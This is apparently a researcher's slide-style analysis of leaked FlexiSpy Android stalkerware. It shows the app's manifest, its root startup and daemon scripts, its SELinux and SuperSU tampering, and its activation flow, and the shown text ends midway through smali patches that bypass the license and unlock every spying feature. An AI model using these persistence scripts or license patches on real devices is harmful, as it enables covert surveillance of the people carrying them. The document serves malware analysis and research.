

# Dig Deep into FlexiSpy for Android

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## About Me

- Security Researcher
- Focus on android security including malware analysis and vulnerability research
- Finding vulnerability, vulnerability analysis and found more than 30 vulnerabilities in products(MS Office, Android, Adobe Reader, Flash Player, Safari, PCRE Library, QuickTime Player, etc) from Microsoft, Google, Apple, Adobe, etc.
- Top 100 Security Researcher ranked by Microsoft in 2016

## Agenda

- Background
- First Installation of the Spy App
- Startup Script
- Workflow of Product Activation
- How to Bypass License
- Two Spy cases on Skype and WeChat
- Summary
- Reference

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## Background

- What is FlexiSpy for Android?

### **Spy on Any Android Cell Phone Or Tablet**

The world's only Android Spy App  
With Full IM Tracking, VoIP Call  
Recording & Live Call Interception

#### **What is FlexiSPY?**

FlexiSPY for Android is monitoring software that lets you spy on most Android devices. Also known as 'spyphone' or spy app, FlexiSPY lets you take total control of an Android mobile phone or tablet and spy on all its communications and activities from any computer with a web browser. Use FlexiSPY to monitor employees, protect your children.

#### **What Can The FlexiSPY Android Spy App Do?**

Our Android spy app provides monitoring of all forms of messaging and application usage, tracking of GPS locations, live listening and recording of phone calls and device surroundings, as well as alerts and reporting of important data. Unlike other Android spy apps, FlexiSPY spies on the 14 most popular instant messaging services, provides live call interception & spycalls. With over 150 features, FlexiSPY delivers information no other Android spy app can.



# Background

On April 22 2017, Flexidie released the source code and binaries for FlexiSpy's android spyware.

Te-k / flexidie

Watch 78Star 680Fork 730

<> CodeIssues 0Pull requests 0Projects 0WikiInsights

Source code and binaries of FlexiSpy from the Flexidie dump




12 commits1 branch0 releases2 contributors

Branch: masterNew pull requestCreate new fileUpload filesFind fileClone or download

Te-k add Symbian codeLatest commit 49a17dd on May 1		
Android	update folder name	3 months ago
BlackBerry/2012-01-11_v.1.03.2	Add new archive and sort code	3 months ago
Gamma	add flexispy code and binaries	3 months ago
Mac	Add new archive and sort code	3 months ago
Symbian	add Symbian code	3 months ago
binaries	Add rewarded binaries	3 months ago
iOS	Add new archive and sort code	3 months ago
README.md	add Symbian code	3 months ago

## Background

- It can be download from Github <https://github.com/Te-k/flexidie>
- The leaked version

 <a href="#">5002_-2.25.1_green.APK</a>	Add new archive and sort code	3 months ago
 <a href="#">5002_2.24.3_green.APK</a>	Add new archive and sort code	3 months ago
 <a href="#">5002_2.25.2_green.APK</a>	Add rewarded binaries	3 months ago

- To start, the version of FlexiSpy for Android I used for this analysis is 5002\_-2.25.1. Since then, version 5002\_2.25.2 has been released. I think that there is a very minor difference between them. It should not affect our analysis.


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## First Installation of the Spy App

- It disguises as a system update app. Its package name is com.android.systemupdate.



## First Installation of the Spy App

- The spy app is huge and complicated. After decompiling using Apktool it includes 4090 smali files, with many files in assets and lib folders inside the APK file.

```
<?xml version="1.0" encoding="utf-8"?>
<manifest package="com.android.systemupdate" platformBuildVersionCode="15" platformBuildVersionName="4.0.4-1406430" xmlns:android="http://schemas.android.com/apk/res/android">
  <supports-screens android:anyDensity="true" android:largeScreens="true" android:normalScreens="true" android:resizeable="true" android:smallScreens="true" android:xlargeScreens="true" />

  .....


  <uses-permission android:name="android.permission.BLUETOOTH" />
  <application android:allowBackup="false" android:debuggable="true" android:label="@string/app_name" android:name="com.phoenix.client.ApplicationInstance" android:persistent="true">
    <activity android:configChanges="locale" android:icon="@drawable/sync" android:keepScreenOn="true" android:label="@string/icon_name" android:name="com.phoenix.client.PrerequisitesSetupActivity">
      <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
      </intent-filter>
    </activity>
    <activity android:keepScreenOn="true" android:label="@string/icon_name" android:name="com.phoenix.client.AutoInstallerActivity" android:screenOrientation="portrait" />
    <activity android:keepScreenOn="true" android:label="@string/icon_name" android:name="com.phoenix.client.InstallActivity" android:screenOrientation="portrait" />
    <activity android:label="@string/icon_name" android:name="com.phoenix.client.HowToDisableSuperSuActivity" android:noHistory="true" android:screenOrientation="portrait" />
    <activity android:keepScreenOn="true" android:label="@string/icon_name" android:name="com.phoenix.client.ActivationActivity" android:screenOrientation="portrait" />
    <service android:name="com.phoenix.client.CoreService">
      <intent-filter>
        <action android:name="wfs.service.action.start_server" />
        <category android:name="android.intent.category.DEFAULT" />
      </intent-filter>
    </service>
    <receiver android:name="com.phoenix.client.receiver.CommonReceiver">
      <intent-filter android:priority="2147483647">
        <action android:name="android.intent.action.USER_PRESENT" />
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.QUICKBOOT_POWERON" />
        <action android:name="android.intent.action.PHONE_STATE" />
        <action android:name="com.htc.intent.action.QUICKBOOT_POWERON" />
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
      </intent-filter>
    </receiver>

    .....
  </application>
</manifest>
```

Entry of the app



## First Installation of the Spy App


- Entry of the app: The activity `com.phoenix.client.PrerequisitesSetupActivity`
- The workflow of the first installation of FlexiSpy for Android



extractPcf(): Extracts the file 5002 in assets folder to /data/data/com.android.systemupdate/app\_data/5002, which is the configuration file of the spy app.  
 extractUtilities(): Extracts some utilities in assets folder to /data/data/com.android.systemupdate/app\_data/, which includes busybox,panzer,ffmpeg and vdaemon.  
**startEngine()**: That's the method in the class AppEngine.








stopAppEngine(): Stops app engine and closes the server socket com.vvt.rmtctrl.server:12512.

stopServer(): Closes the remote server socket vvt.polymorphic.server:12514.

setupNewContainer(): Sets up a new container and starts the remote server vvt.polymorphic.server:12514.

relocateData(): Copies files [fx.log, 5002, system\_url.dat, phoenix\_db.db, phoenix\_db.db-journal, preferences.dat, ddmngr.db, ddmngr.db-journal, events.db, events.db-journal, app\_container\_info.dat] from /data/data/com.android.systemupdate/app\_data to /data/misc/adn.

execute(): Remotely starts app engine again and starts remote server com.vvt.rmtctrl.server:12512.




The folder /system/su.d should be a daemon directory for SuperSU, the scripts in this directory are executed when the device is booted.

```
#script
export LD_LIBRARY_PATH=/system/lib:/data/misc/adn
export CLASSPATH=/data/misc/adn/maind.zip;
app_process /system/bin com.vvt.daemon.MainDaemonMain $* &
```


```
#!/system/bin/sh
if [ -e /data/misc/adn/busybox ];
then
sleep 10;
if ! /data/misc/adn/busybox pgrep maind > /dev/null;
then
/data/misc/adn/maind 1 &
fi;
fi;
```

```
#!/system/bin/sh
if [ -e /data/misc/adn/busybox ];
then
sleep 25;
if ! /data/misc/adn/busybox pgrep maind > /dev/null;
then
/data/misc/adn/maind 1 &
fi;
fi;
```





Executes command `"/data/misc/adn/busybox reboot -f"` to reboot device.



It hides SuperSu in full mode and prompts a dialog to indicate the user to reboot the device.



## First Installation of the Spy App

- The spy app is designed sophisticatedly and rather complicated.
- Install the startup script.
- Indicate the user to reboot the device
- Execute the startup script when rebooting device.

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## Startup Script

- The startup script /system/su.d/0000adam.sh could be executed when reboot.

```
#!/system/bin/sh
if [ -e /data/misc/adn/busybox ];
then
sleep 10;
if ! /data/misc/adn/busybox pgrep maind > /dev/null;
then
/data/misc/adn/maind 1 &
fi;
fi;
```

- maind: Use app\_process to execute the class com.vvt.daemon.MainDaemonMain.

```
#script
export LD_LIBRARY_PATH=/system/lib:/data/misc/adn
export CLASSPATH=/data/misc/adn/maind.zip;
app_process /system/bin com.vvt.daemon.MainDaemonMain $* &
```

## Startup Script

- What does the class MainDaemonMain do?
  - It first initializes the log file /data/misc/adn/fx.log. All log info could be written into this log.
  - switchSELinuxModelIfNeeded(): Switches SELinux mode to PERMISSIVE if need.
  - patchSeLinux(): This is used to patch SELinux on Samsung device with android 4.4 or later.
  - syncMonitor: Executes startup script /data/misc/adn/pmond.
  - syncBug: Executes startup script /data/misc/adn/callmond.
  - syncSystemDaemon: Changes the shell to 'system' user and executes startup script /data/misc/adn/psysd.
  - prepareServerSocket: Creates LocalServerSocket "socket:com.fx.socket.psysd" to communicate for the crossing process.
  - startServer: In RootProcessContainer, it creates server socket:vvt.polymorphic.server port:12514 and starts server.
  - startRoutineTask: Starts routine tasks(syncMonitor and syncBug) , which are executed repeatedly at regular intervals with Timer.
  - startAppEngine: Starts app core engine by sending a command to the remote server "vvt.polymorphic.server:12514" started in the method startServer().

## Startup Script

- 4 daemon scripts could be executed during execution of maind
  - /data/misc/adn/pmond is a process monitoring daemon.

```
#script
export LD_LIBRARY_PATH=/system/lib:/data/misc/adn
export CLASSPATH=/data/misc/adn/pmond.zip;
app_process /system/bin com.fx.pmond.MonitorDaemonMain $* &
```

- /data/misc/adn/callmond is the call monitoring daemon. It can start up callmgrd inside it.

```
#script
export LD_LIBRARY_PATH=/system/lib:/data/misc/adn
export CLASSPATH=/data/misc/adn/callmon.zip;
app_process /system/bin com.vvt.callmanager.CallMonDaemonMain $* &
```

- /data/misc/adn/callmgrd is the call manager daemon.

```
#script
export LD_LIBRARY_PATH=/system/lib:/data/misc/adn
export CLASSPATH=/data/misc/adn/callmgr.zip;
app_process /system/bin com.vvt.callmanager.CallMgrDaemonMain $* &
```

- /data/misc/adn/psysd is a system daemon.

```
#script
export LD_LIBRARY_PATH=/system/lib:/data/misc/adn
export CLASSPATH=/data/misc/adn/psysd.zip;
app_process /system/bin com.fx.psysd.SystemDaemonMain $* &
```

## Startup Script

- After rebooting the device, we can see these daemon processes are always running.

```

root 924 1 876 80 c01b9220 b6f93e84 S /mnt/asec/mtrwa
root 970 1 876300 38092 ++++++ 4010a73c S maind
root 992 380 6124 480 ++++++ b6ea3280 S daemonsu:0
wifi 1089 1 3432 2304 c02763ac b6eba6d8 S /system/bin/wpa_supplicant
u0_a12 1093 181 932092 84428 ++++++ 400a373c S com.android.systemui
u0_a54 1193 181 884156 39268 ++++++ 400a373c S com.google.android.inputmethod.latin
u0_a7 1220 181 938900 70404 ++++++ 400a373c S com.google.android.gms.persistent
radio 1262 181 868164 32808 ++++++ 400a373c S com.redbend.vdmc
nfc 1275 181 889864 37416 ++++++ 400a373c S com.android.nfc
u0_a19 1297 181 999488 81112 ++++++ 400a373c S com.google.android.googlequicksearchbox
u0_a7 1345 181 947664 58228 ++++++ 400a373c S com.google.process.gapps
u0_a7 1491 181 869392 33328 ++++++ 400a373c S com.google.process.location
root 1495 1 7220 492 ++++++ b6f28908 S /system/bin/mpdecision
root 1602 1 827440 31496 ++++++ 400f873c S pmond
dhcp 1664 1 1020 476 c02763ac b6f9f7c4 S /system/bin/dhccpd
root 1762 1 829876 32176 ++++++ 4010b73c S callmond
radio 1945 1 833936 25136 ++++++ 4004873c S callmgrd
u0_a7 1952 181 1088052 81564 ++++++ 400a373c S com.google.android.gms
radio 2098 181 892548 40832 ++++++ 400a373c S com.android.phone
radio 2362 380 5100 392 ++++++ b6ea3280 S daemonsu:10075
root 2380 2362 5104 620 c019680c b6ea1df0 S daemonsu:10075:2359
root 2384 2380 928 468 c046f704 b6ecc2c8 S tmp-mksh
root 2415 380 5100 332 c083cbcc b6ea3280 S daemonsu:10074
system 2801 1 826440 28324 ++++++ 400d873c S psysd
radio 3727 181 869104 31184 ++++++ 400a373c S com.qualcomm.qcrilmsgtunnel
u0_a78 4562 181 924528 47716 ++++++ 400a373c S com.tencent.mm:push

```

```

shell@hammerhead:/ $ netstat
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.30.196.19:56180    0.0.0.0:*               LISTEN
udp        0      0 127.0.0.1:35936       0.0.0.0:*               CLOSE
udp        0      0 172.30.196.19:56180    0.0.0.0:*               CLOSE
tcp6       0      0 :::12512               :::*                     LISTEN
tcp6       0      0 :::12514               :::*                     LISTEN
tcp6       0      0 :::12516               :::*                     LISTEN
tcp6       0      0 :::12518               :::*                     LISTEN

```

- Server "vvt.polymorphic.server port:12514": handles commands related to the container.
- Server "com.vvt.rmtctrl.server port:12512": handles the remote control commands related to spy activities.

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## Workflow of Product

- Look into the execution of launching the class PrerequisitesSetupActivity.
  - The return value of getRemoteControl() is "com.vvt.rmtctrl.server:12512" then invoke the method postInitialize().
  - The return value of isFullMode() shows the activation screen.

```
private void postInitialize() {
    boolean v1 = this.isFullMode();
    if (PrerequisitesSetupActivity.LOGV) {
        FxLog.d("PrerequisitesSetupActivity", "postInitialize # Is full mode ?" + v1);
    }

    if (v1) {
        this.showActivationScreen();
        this.finish();
    }
}
```

```
private void initialize() {
    if (PrerequisitesSetupActivity.LOGV) {
        FxLog.d("PrerequisitesSetupActivity", "initialize # ENTER ...");
    }

    if (this.mRemoteControl == null) {
        try {
            this.mRemoteControl = RemoteControlHelper.getRemoteControl();
        } catch (RemoteControlException v2) {
        }
    }

    if (this.mRemoteControl == null) {
        if (PrerequisitesSetupActivity.LOGV) {
            FxLog.d("PrerequisitesSetupActivity", "initialize # Remote Control is not created");
        }
    }

    boolean v0 = this.isFirstLaunch();
    if (PrerequisitesSetupActivity.LOGV) {
        FxLog.d("PrerequisitesSetupActivity", "initialize # Is first launch ? %s", new Object[] { Boolean.valueOf(v0) });
    }


    if (v0) {
        if (PrerequisitesSetupActivity.LOGV) {
            FxLog.d("PrerequisitesSetupActivity", "initialize # Is first launch ? %s", new Object[] { Boolean.valueOf(v0) });
        }
        this.startAppEngine();
        goto label_34;
    }

    boolean v1 = WaitTasks.require();
    if (PrerequisitesSetupActivity.LOGV) {
        FxLog.d("PrerequisitesSetupActivity", "initialize # Is first launch ? %s", new Object[] { Boolean.valueOf(v1) });
    }

    if (v1) {
        new MainDaemonWaitTask(this);
    }


    this.postInitialize();

label_34:
    if (PrerequisitesSetupActivity.LOGV) {
        FxLog.d("PrerequisitesSetupActivity", "initialize # Is first launch ? %s", new Object[] { Boolean.valueOf(v1) });
    }
}
```



## Workflow of Product Activation

- Couldn't find the license key for the spy app in the leaked material. So, in order to analyze how the spy app launches its spying activities, we need to bypass the license.
- Input a random activation code and click the button "Activate".





# Workflow of Product Activation

- The thread of activation

```
new Thread("ActivationThread", arg6) {
    public void run() {
        String v4;
        ActivationResponseArgs v6 = new ActivationResponseArgs();
        RmtCtrlInputActivation v2 = new RmtCtrlInputActivation();
        v2.setActivationCode(this.val$activationCode);
        ControlCommand v1 = new ControlCommand();
        v1.setFunction(RemoteFunction.ACTIVATE_PRODUCT);
        v1.setData(v2);
        try {
            Object v5 = ActivationActivity.this.mRemoteControl.execute(v1);
            v6.setSuccess(((RmtCtrlActivateOutputStatusMessage)v5).isSuccess());
            v6.setRecordingAudioSourceStatusCode(((RmtCtrlActivateOutputStatusMessage)v5).getRecordingAudioSourceStatusCode());
            v6.setErrorCode(((RmtCtrlActivateOutputStatusMessage)v5).getErrorCode());
            if(((RmtCtrlActivateOutputStatusMessage)v5).isSuccess()) {
                v4 = ActivationActivity.this.getString(2131034149);
                goto label_29;
            }
        }
        v4 = ((RmtCtrlActivateOutputStatusMessage)v5).getMessage();
    }
    catch(RemoteControlException v3) {
        if(ActivationActivity.LOGS) {
            FxLog.e("ActivationActivity", "activateProduct # Error: %s", new Object[] {v3.getMessage()});
        }
        v4 = v3.getMessage();
    }
    label_29:
    v6.setMessage(v4);
    ActivationActivity.this.mHandler.sendMessage(ActivationActivity.this.mHandler.obtainMessage(223, v6));
}
}.start();
```

- Handling the command RemoteFunction.ACTIVATE\_PRODUCT

```
label_99:
v32_6 = this.processActivate(v33, this.mComponent.activationManager, this.mComponent.licenseManager);
goto label_21;
```

## Workflow of Product Acti

- After tracing codes, the method onFinish() could com.vvt.activation\_manager.ActivationManager
- If the activation is failed, it could invoke the method com.vvt.activation\_manager.ActivationManager.onError() which means an error "Unable to connect to server.\nCheck your internet connection and try again." is exactly same as the one we just saw.
- If the activation is successful, it could invoke the method com.vvt.activation\_manager.ActivationManager.onSuccess() which means a license is successfully activated.
- Regardless if the activation is successful, it could invoke the method com.vvt.appengine.AppEngine.resetLicense() to reset the license.

```
public void onFinish(DeliveryResponse arg9) {
    if(ActivationManager.LOGV) {
        FxLog.v("ActivationManager", "onFinish # START ..");
    }

    this.mIsProcessingRequest = false;
    ResponseData v1 = arg9.getCSMResponse();
    if(v1 != null) {
        if(ActivationManager.LOGV) {
            FxLog.v("ActivationManager", "onFinish # CmdEcho: %s", new Object[]{Integer.valueOf(v1.getCmdEcho())});
        }

        try {
            switch(v1.getCmdEcho()) {
                case 2: {
                    goto label_33;
                }
                case 3: {
                    goto label_52;
                }
                case 8: {
                    goto label_59;
                }
            }
        }

        if(ActivationManager.LOGD) {
            FxLog.d("ActivationManager", "onFinish # Unhandled command code!");
        }

        this.handleResponseDeactivate(arg9);
        goto label_27;
    }
    label_33:
    if(ActivationManager.LOGD) {
        FxLog.d("ActivationManager", "onFinish # SEND_ACTIVATE ..");
    }

    this.handleResponseActivate(arg9, this.mProductInfo, this.mPhoneInfo);
    goto label_27;
    label_52:
    if(ActivationManager.LOGD) {
        FxLog.d("ActivationManager", "onFinish # SEND_DEACTIVATE ..");
    }

    this.handleResponseDeactivate(arg9);
    goto label_27;
    label_59:
    if(ActivationManager.LOGD) {
        FxLog.d("ActivationManager", "onFinish # GET_ACTIVATION_CODE ..");
    }

    this.handleResponseGetAc(arg9);

    catch(Exception v0) {
        if(!ActivationManager.LOGGE) {
            goto label_27;
        }

        FxLog.e("ActivationManager", "onFinish # Error: %s", new Object[]{v0.toString()});
    }

    goto label_27;

    this.mLicenseManager.resetLicense();
    if(this.mActivationListener != null) {
        this.mActivationListener.onError(ErrorResponseType.ERROR_PAYLOAD, -1, "Unable to connect to server.\nCheck your internet connection and try again.");
    }

    if(ActivationManager.LOGGE) {
        FxLog.e("ActivationManager", "onFinish # mActivationListener is null");
    }

    label_27:
    if(ActivationManager.LOGV) {
        FxLog.v("ActivationManager", "onFinish # EXIT ..");
    }
}
```

Due to not connecting remote http server, v1 is null.

If it's successfully for activation, the program could invoke this function.

# Workflow of Product Activation

- onLicenseChange() in the class com.vvt.appengine.AppEngine.

```
public void onLicenseChange() {
    if (AppEngine.LOGD) {
        FxLog.v("AppEngine", "onLicenseChange # ENTER ...");
    }

    LicenseInfo v2 = this.mComponent.licenseManager.getLicenseInfo();
    boolean v1 = v2.getLicenseStatus() == LicenseStatus.ACTIVATED ? true : false;
    String v0 = v2.getActivationCode();
    if (AppEngine.LOGD) {
        FxLog.d("AppEngine", "onLicenseChange # isActivated: %s, AC: %s", new Object[] {Boolean.valueOf(v1), v0});
    }

    try {
        if (AppEngine.LOGD) {
            FxLog.v("AppEngine", "onLicenseChange # Apply current license");
        }

        AppEngineHelper.applyCurrentLicense(this.mComponent);

        if (v1) {
            if (AppEngine.LOGD) {
                FxLog.d("AppEngine", "onLicenseChanged # Start send heart beat timer");
            }

            this.startGetConfigurationTimer();
            if (AppEngine.LOGD) {
                FxLog.d("AppEngine", "onLicenseChanged # Forcing Logouts");
            }

            this.forceLogout();
            if (this.mComponent.playStoreAutoupdateAppsManagerImpl == null) {
                goto label_52;
            }

            this.mComponent.playStoreAutoupdateAppsManagerImpl.setDisable(true);
            goto label_52;
        }

        if (v2.getLicenseStatus() != LicenseStatus.NOT_ACTIVATED) {
            goto label_52;
        }
    }
}
```

```
public static void applyCurrentLicense(AppEngineComponent arg6) {
    if (AppEngineHelper.LOGD) {
        FxLog.d("AppEngineHelper", "applyCurrentLicense # ENTER ...");
    }

    Configuration v0 = AppEngineHelper.getCurrentConfiguration(arg6);
    List v1 = v0.getSupportedFeatures();
    if (AppEngineHelper.LOGD) {
        FxLog.d("AppEngineHelper", "applyCurrentLicense # supported feature: " + v1);
    }

    Map v2 = v0.getSupportedRemoteCmds();
    if (AppEngineHelper.LOGD) {
        FxLog.d("AppEngineHelper", "applyCurrentLicense # supported remote cmds: " + v2);
    }

    if (AppEngineHelper.LOGD) {
        FxLog.d("AppEngineHelper", "applyCurrentLicense # Update remote control");
    }

    AppEngineHelper.updateRemoteControl(arg6, v1);
    if (AppEngineHelper.LOGD) {
        FxLog.d("AppEngineHelper", "applyCurrentLicense # Update feature components");
    }

    AppEngineHelper.updateFeatures(arg6, v1, v2);
    if (AppEngineHelper.LOGD) {
        FxLog.d("AppEngineHelper", "applyCurrentLicense # EXIT ...");
    }
}
```

- applyCurrentLicense(): It first gets the current configuration, then gets supported feature and remote commands depending on the configuration, then updates remote commands and feature components.

## Workflow of Product Activation

- `getCurrentConfiguration()`: The configuration id can be gotten from license file, if activation is not successful, the configuration is -1.
- `updateFeatures()`: It updates the features including remote command manager, event capture, spy call, database monitor, etc.

```
public static void updateFeatures(AppEngineComponent arg9, List arg10, Map arg11) {
    if(AppEngineHelper.LOGD) {
        FxLog.d("AppEngineHelper", "updateFeatures # ENTER ...");
    }

    boolean v2 = arg9.licenseManager.isActivated(arg9.productInfo, arg9.phoneInfo.getDeviceId());
    try {
        FxPreferenceManager v8 = arg9.preferenceManager;
        FxPreference v3 = v8.getPreference(FxPreferenceType.EVENTS_CTRL);
        FxPreference v4 = v8.getPreference(FxPreferenceType.IM_CAPTURE_SETTINGS);
        FxPreference v5 = v8.getPreference(FxPreferenceType.VOIP_CALLRECORDING_CAPTURE_SETTINGS);
        AppEngineHelper.manageRemoteCommandManager(arg9);
        AppEngineHelper.manageEventCenter(arg9, arg10, v2, ((PrefEventsCapture)v3));
        AppEngineHelper.manageEventCapture(arg9, arg10, v2, ((PrefEventsCapture)v3), ((PrefIMCaptureSettings)v4), ((PrefVoipCallRecordingCaptureSettings)v5), arg11);
        AppEngineHelper.manageSpyCall(arg9, arg10, v2);
        AppEngineHelper.manageWatchNotification(arg9, arg10, v2);
        AppEngineHelper.manageKeywords(arg9, arg10, v2);
        AppEngineHelper.manageAddressBook(arg9, arg10, v2, ((PrefEventsCapture)v3));
        AppEngineHelper.manageBatteryManager(arg9, arg10, v2);
        AppEngineHelper.manageApplicationCapture(arg9, arg10, v2, ((PrefEventsCapture)v3));
        AppEngineHelper.manageCalendarCapture(arg9, arg10, v2, ((PrefEventsCapture)v3));
        AppEngineHelper.manageAmbientRecorder(arg9, arg10, v2, ((PrefEventsCapture)v3));
        AppEngineHelper.manageDatabaseMonitoring(arg9, arg10, v2, ((PrefEventsCapture)v3));
        AppEngineHelper.managePlayStoreAutoUpdatesApp(arg9, arg10, v2, ((PrefEventsCapture)v3));
        AppEngineHelper.managePushNotification(arg9);
        AppEngineHelper.manageTemporalAppControl(arg9, arg10, v2);
    }
}
```

## Agenda

- Background
- First Installation of the Spy App
- Startup Script
- Workflow of Product Activation
- **How to Bypass License**
- Two Spy cases on Skype and WeChat
- Summary
- Reference

- ```
loadProductConfiguration:configlist: [ID: -1, Features: [], ID: -2, Features: [], ID: -3, Features:
[CAPTURE_PASSWORD, SIM_CHANGE_NOTIFICATION, MONITOR_NUMBER, HIDE_FROM_APP_MANAGER, HIDE_FROM_APP_DRAWER]
Features: [CAPTURE_CALLLOG, CAPTURE_SMS, CAPTURE_EMAIL, CAPTURE_MMS, CAPTURE_WALLPAPER, CAPTURE_CAMERA,
CAPTURE_CALENDAR, CAPTURE_CONTACT, CAPTURE_IM, CAPTURE_BROWSER_URL, CAPTURE_APPLICATION, CAPTURE_HIST
HIDE_FROM_APP_MANAGER, HIDE_FROM_APP_DRAWER, PREVENT_UNINSTALL, ADDRESS_BOOK_MANAGEMENT, SEND_BOOKMARKS,
CAPTURE_EMAIL, CAPTURE_MMS, CAPTURE_WALLPAPER, CAPTURE_CAMERAIMAGE, CAPTURE_SOUND_RECORDING, CAPTURE
CAPTURE_IM, CAPTURE_BROWSER_URL, CAPTURE_APPLICATION, CAPTURE_HISTORICAL_MEDIA, CAPTURE_SETTINGS, CAP
HIDE_FROM_APP_MANAGER, HIDE_FROM_APP_DRAWER, PREVENT_UNINSTALL, ADDRESS_BOOK_MANAGEMENT, SEND_BOOKMARKS,
CAPTURE_CALLLOG, CAPTURE_SMS, CAPTURE_CAMERAIMAGE, CAPTURE_VIDEO_RECORDING, CAPTURE_LOCATION, CAPTURE
CAPTURE_APPLICATION, CAPTURE_SETTINGS, CAPTURE_VOIP_CALLLOG, CAPTURE_PASSWORD, HIDE_FROM_APP_MANAGER,
PUSH_NOTIFICATIONS, REMOTE_CAMERA_IMAGE, SEND_DEVICE_SETTINGS], ID: 211, Features: [CAPTURE_CALLLOG,
CAPTURE_VIDEO_RECORDING, CAPTURE_LOCATION, CAPTURE_SYSTEM, CAPTURE_CALENDAR, CAPTURE_CONTACT, CAPTURE
CAPTURE_VOIP_CALLLOG, SIM_CHANGE_NOTIFICATION, MONITOR_NUMBER, HIDE_FROM_APP_MANAGER, HIDE_FROM_APP_D
PUSH_NOTIFICATIONS], ID: 206, Features: [CAPTURE_CALLLOG, CAPTURE_SMS, CAPTURE_EMAIL, CAPTURE_MMS, CA
CAPTURE_LOCATION, CAPTURE_SYSTEM, CAPTURE_CAMERAIMAGE, CAPTURE_CONTACT, CAPTURE_IM, CAPTURE_BROWSER_URL,
CAPTURE_PASSWORD, SIM_CHANGE_NOTIFICATION, SPOOF_SMS, SMS_KEYWORD, MONITOR_NUMBER, HIDE_FROM_APP_MANAGER,
ADDRESS_BOOK_MANAGEMENT, SEND_DEVICE_SETTINGS, SEND_INSTALLED_APPS, PUSH_NOTIFICATIONS, CAPTURE_I
CALL_RECORDING_WATCH_NUMBER, CAPTURE_VOIP_CALL_RECORDING], ID: 201, Features: [CAPTURE_EMAIL, CAPTURE
CAPTURE_LOCATION, CAPTURE_SYSTEM, CAPTURE_CALENDAR, CAPTURE_CONTACT, CAPTURE_IM, CAPTURE_BROWSER_URL,
HIDE_FROM_APP_MANAGER, HIDE_FROM_APP_DRAWER, PREVENT_UNINSTALL, ADDRESS_BOOK_MANAGEMENT, SEND_BOOKMARKS,
CAPTURE_VOIP_CALL_RECORDING], ID: 207, Features: [CAPTURE_EMAIL, CAPTURE_WALLPAPER, CAPTURE_CAMERAIMAGE,
CAPTURE_CALENDAR, CAPTURE_CONTACT, CAPTURE_IM, CAPTURE_BROWSER_URL, CAPTURE_APPLICATION, CAPTURE_HIST
HIDE_FROM_APP_DRAWER, PREVENT_UNINSTALL, ADDRESS_BOOK_MANAGEMENT, SEND_BOOKMARKS, SEND_INSTALLED_APPS
CAPTURE_VOIP_CALL_RECORDING], ID: 210, Features: [CAPTURE_CALLLOG, CAPTURE_SMS, CAPTURE_EMAIL, CAPTURE
CAPTURE_SYSTEM, CAPTURE_CALENDAR, CAPTURE_CONTACT, CAPTURE_IM, CAPTURE_BROWSER_URL, CAPTURE_APPLICATION,
SIM_CHANGE_NOTIFICATION, SPY_CALL, SMS_KEYWORD, MONITOR_NUMBER, HIDE_FROM_APP_MANAGER, HIDE_FROM_APP
PUSH_NOTIFICATIONS, CAPTURE_CALL_RECORDING, AMBIENT_RECORDING, REMOTE_CAMERA_IMAGE, SEND_DEVICE_SETTI
CAPTURE_SYSTEM, CAPTURE_SETTINGS, HIDE_FROM_APP_MANAGER, HIDE_FROM_APP_DRAWER, PREVENT_UNINSTALL, CAP
Features: [CAPTURE_CALLLOG, CAPTURE_SMS, CAPTURE_MMS, CAPTURE_WALLPAPER, CAPTURE_CAMERAIMAGE, CAPTURE
CAPTURE_CONTACT, CAPTURE_BROWSER_URL, CAPTURE_APPLICATION, CAPTURE_HISTORICAL_MEDIA, CAPTURE_SETTINGS
PREVENT_UNINSTALL, ADDRESS_BOOK_MANAGEMENT, SEND_BOOKMARKS, SEND_INSTALLED_APPS, SEND_RUNNING_APPS,
```

### Patch it, set configurationID as 0xce(210).

```
.line 116
.local v1, "licenseInfo":Lcom/vvt/license/LicenseInfo;
invoke-virtual {v1}, Lcom/vvt/license/LicenseInfo;->getConfigurationId()I
move-result v0

.line 118
```

- ```
ID: 210, Features: [CAPTURE_CALLLOG, CAPTURE_SMS, CAPTURE_EMAIL, CAPTURE_MMS, CAPTURE_CAMERAIMAGE, CAPTURE_SOUND_RECORDING, CAPTURE_VIDEO_RECORDING, CAPTURE_LOCATION, CAPTURE_SYSTEM, CAPTURE_CALENDAR, CAPTURE_CONTACT, CAPTURE_IM, CAPTURE_BROWSER_URL, CAPTURE_APPLICATION, CAPTURE_HISTORICAL_MEDIA, CAPTURE_SETTINGS, CAPTURE_VOIP_CALLLOG, CAPTURE_PASSWORD, SIM_CHANGE_NOTIFICATION, SPY_CALL, SMS_KEYWORD, MONITOR_NUMBER, HIDE_FROM_APP_MANAGER, HIDE_FROM_APP_DRAWER, PREVENT_UNINSTALL, ADDRESS_BOOK_MANAGEMENT, SEND_BOOKMARKS, SEND_INSTALLED_APPS, PUSH_NOTIFICATIONS, CAPTURE_CALL_RECORDING, AMBIENT_RECORDING, REMOTE_CAMERA_IMAGE, SEND_DEVICE_SETTINGS, CALL_RECORDING_WATCH_NUMBER, CAPTURE_VOIP_CALL_RECORDING],
```



## How to Bypass License

- Patch the method `isActivated` in the class `com.vvt.license.LicenseManagerImpl`, we can patch the function `getLicenseStatus` and `isMd5Valid` and have their return value are always true.

```
public boolean isActivated(ProductInfo arg9, String arg10) {
    boolean v2 = true;
    if (LicenseManagerImpl.LOGV) {
        FxLog.v("LicenseManager", "isActivated # ENTER ...");
    }
    boolean v0 = this.mLicenseInfo.getLicenseStatus() == LicenseStatus.ACTIVATED ? true : false;
    boolean v1 = this.isMd5Valid(this.mLicenseInfo, arg9, arg10);
    if (LicenseManagerImpl.LOGV) {
        FxLog.v("LicenseManager", "isActivated # activated: %s, md5valid? %s", new Object[]{Boolean.valueOf(v0), Boolean.valueOf(v1)});
    }
    if (LicenseManagerImpl.LOGV) {
        FxLog.v("LicenseManager", "isActivated # EXIT ...");
    }
    if (!v0 || !v1) {
        v2 = false;
    }
    return v2;
}
```

Patch the return value of function `getLicenseStatus()` and `isMd5Valid()` to make both `v0` and `v1` are true.

```
175 .method public getLicenseStatus()Lcom/vvt/license/LicenseStatus;
176     .locals 3
177
178     .prologue
179     .line 53
180     sget-object v0, Lcom/vvt/license/LicenseStatus;->ACTIVATED:Lcom/vvt/license/LicenseStatus;
181     const-string v1, "LicenseManager"
182     const-string v2, "getLicenseStatus: ACTIVATED(patch)"
